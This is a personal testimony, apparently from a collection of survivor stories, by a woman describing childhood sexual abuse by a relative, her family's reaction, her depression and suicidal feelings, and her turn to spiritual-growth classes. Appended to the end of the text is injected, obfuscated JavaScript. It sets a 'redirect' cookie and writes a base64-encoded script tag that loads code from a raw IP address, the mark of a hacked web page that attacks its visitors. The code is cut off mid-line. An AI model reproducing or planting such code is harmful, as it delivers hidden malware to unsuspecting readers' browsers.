134 – Aida (United States)

I have never felt more alone as I do now. I have no support. I have not found therapy which if it is free, the therapist is usually just a student. I have not found help at this time and I don’t have money for a psychiatrist. It has really hit me hard the last 5 years which I have made new discoveries that have really knocked me down even more.

I was molested by a family member. It is important for my sister that I specify that it was not my father. I was 8 years old and this family member continued to try to molest me until I was 14 or so. The day he began he had me sit on his lap and told me that we were going to keep a secret. When he started to do so, the molestation, it was like I got shot, emotionally I was devastated. I excused myself to go to the bathroom and locked myself in there for more than 2 hours. I thought only of how I could escape from that house. My parents had sent me with family to the USA from our country in SA so that I could start school in August and so my parents were still in South America. I didn’t speak English. How could I escape and run away and where would I go? I felt so much hate from there on for this individual. I didn’t tell my parents until I was 14 years old. I was always trying to protect my sister. One of the saddest consequences of the molestation is that I no longer was close to my dad. I used to be very close. After this I never wanted my dad to hug me or even touch me. I just automatically rejected him. My problems didn’t stop there, when I did tell my parents they made me confront this family member, giving him a chance to defend himself. That was the end of it and we continued to visit each other as if nothing had happened. This family which is my family also has always tried to invent stories about me trying to make me look like a liar and trying to change my reputation. Thank God I have been fortunate that I have not had any addictions and have had a relatively normal life. But they did manage to mess up my reputation because people like to believe the worst about others.

Years later I found out there were other cases of sexual abuse with other cousins in the family. I also found out that my parents were aware of what had happened to these cousins before they sent me with them to the USA. These cases had happened about 12 years before it happened to me, yet they still sent me with them. I don’t understand and I question this. I noticed how they would always speak in a condescending manner criticizing these individuals (these cousins who were abused) in the family making them look bad, the same as they have done with me. I understand now that the reason they do this is to ruin our reputation in case we were to speak out than hopefully no one would believe us. This is very hard because I have felt alone, ashamed to come from a family like this one where there are cases of incest. I feel like I can’t have a normal life. I always wanted to have my own family and because of all my problems I have become alienated and have not been able to get out there and meet someone. Since I am suffering, I don’t feel like I’m ready to meet someone. I feel who would want to become part of my family. I have also had a very unstable working situation. I am doing classes on spiritual growth, a class called “Overcoming Self-sabotage”, and it is helping me get over “toxic emotions” and provide myself my essential needs. This is what has led me to doing this. This is one of my core needs, to speak out and to get support. I need to tell my story and I want to put my grain in the sand towards working to bring awareness to sexual abuse and particularly child abuse. I feel that this is my mission in life. I have hit rock bottom, I have felt like I don’t want to live anymore, I have had depression and I’m working everyday towards feeling good. I have seen “The Secret” and I understand that emotionally I have to work towards feeling good so that I can attract everything I want and need in life and especially all that is positive. I understand that feeling bad can attract the opposite, very difficult situations. I now work on spiritual growth and I thank one therapist that led me in the direction of the Zen and Asian philosophy. This has helped tremendously. I continue on my journey towards this spiritual growth. I am still very weak and I need help and support. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘